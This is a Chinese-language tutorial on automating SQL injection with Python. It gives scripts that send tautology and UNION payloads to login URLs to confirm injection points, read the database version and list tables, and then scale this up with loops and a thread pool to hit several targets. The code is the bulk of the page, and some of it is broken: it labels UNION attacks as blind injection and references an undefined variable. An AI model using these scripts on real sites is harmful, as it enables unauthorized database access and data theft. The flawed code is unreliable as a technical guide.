python编写盲注自动化脚本+用python写自动化
更新时间:2023-09-08第一段:介绍盲注和自动化脚本
盲注是一种常见的网络攻击技术,通过向应用程序的输入字段插入恶意代码,利用应用程序对输入数据的处理方式缺陷,实现对数据库的非授权访问。自动化脚本可以帮助进行盲注攻击的有效性测试,减少对人力的依赖,提高测试的效率。
import requests # 发送HTTP请求,并返回响应内容 def send_request(url, payload): response = requests.get(url + payload) return response.content # 判断响应内容是否包含特定字符串,来判断注入是否成功 def is_injected(response_content): if "Injected" in response_content: return True else: return False target_url = "http://example.com/login.php" payload = "' OR 1=1 -- " response = send_request(target_url, payload) if is_injected(response): print("注入成功") else: print("注入失败")
第二段:编写盲注自动化脚本
编写盲注自动化脚本需要考虑以下几个关键步骤:1. 判断注入点;2. 获取数据库版本和表信息;3. 提取敏感信息。下面将分别介绍这些步骤。
import requests # 判断注入点是否存在 def is_vulnerable(url): payload = "' OR 1=1 -- " response = requests.get(url + payload) # 判断响应内容是否发生变化,若发生变化则说明存在注入点 if response.content != original_response_content: return True else: return False # 获取当前数据库版本 def get_database_version(url): payload = "' UNION SELECT @@version -- " response = requests.get(url + payload) # 解析响应内容,提取数据库版本信息 # ... # 获取数据库表信息 def get_table_info(url): payload = "' UNION SELECT table_name FROM information_schema.tables -- " response = requests.get(url + payload) # 解析响应内容,提取表名信息 # ... target_url = "http://example.com/login.php" # 判断注入点是否存在 if is_vulnerable(target_url): print("存在注入点") # 获取数据库版本 get_database_version(target_url) # 获取表信息 get_table_info(target_url) else: print("不存在注入点")
第三段:实现自动化脚本的批量化处理
如果需要批量测试多个目标,可以使用循环结构或并发处理来提高测试效率。
import requests target_urls = [ "http://example.com/login.php", "http://example.com/register.php", "http://example.com/reset_password.php" ] # 循环处理多个目标 for url in target_urls: if is_vulnerable(url): print(url + " 存在注入点") get_database_version(url) get_table_info(url) else: print(url + " 不存在注入点")
或者使用多线程或异步编程实现并发处理:
import requests from concurrent.futures import ThreadPoolExecutor import threading target_urls = [ "http://example.com/login.php", "http://example.com/register.php", "http://example.com/reset_password.php" ] def test_target(url): if is_vulnerable(url): print(url + " 存在注入点") get_database_version(url) get_table_info(url) else: print(url + " 不存在注入点") # 创建线程池 executor = ThreadPoolExecutor(max_workers=5) # 并发处理多个目标 for url in target_urls: executor.submit(test_target, url)
第四段:总结
通过编写盲注自动化脚本,可以提高对目标应用程序的漏洞测试效率。通过判断注入点是否存在、获取数据库版本和表信息等步骤,可以发现应用程序中存在的漏洞,并提取敏感信息。同时,可以通过批量化处理或使用多线程/异步编程实现并发处理,加快测试速度。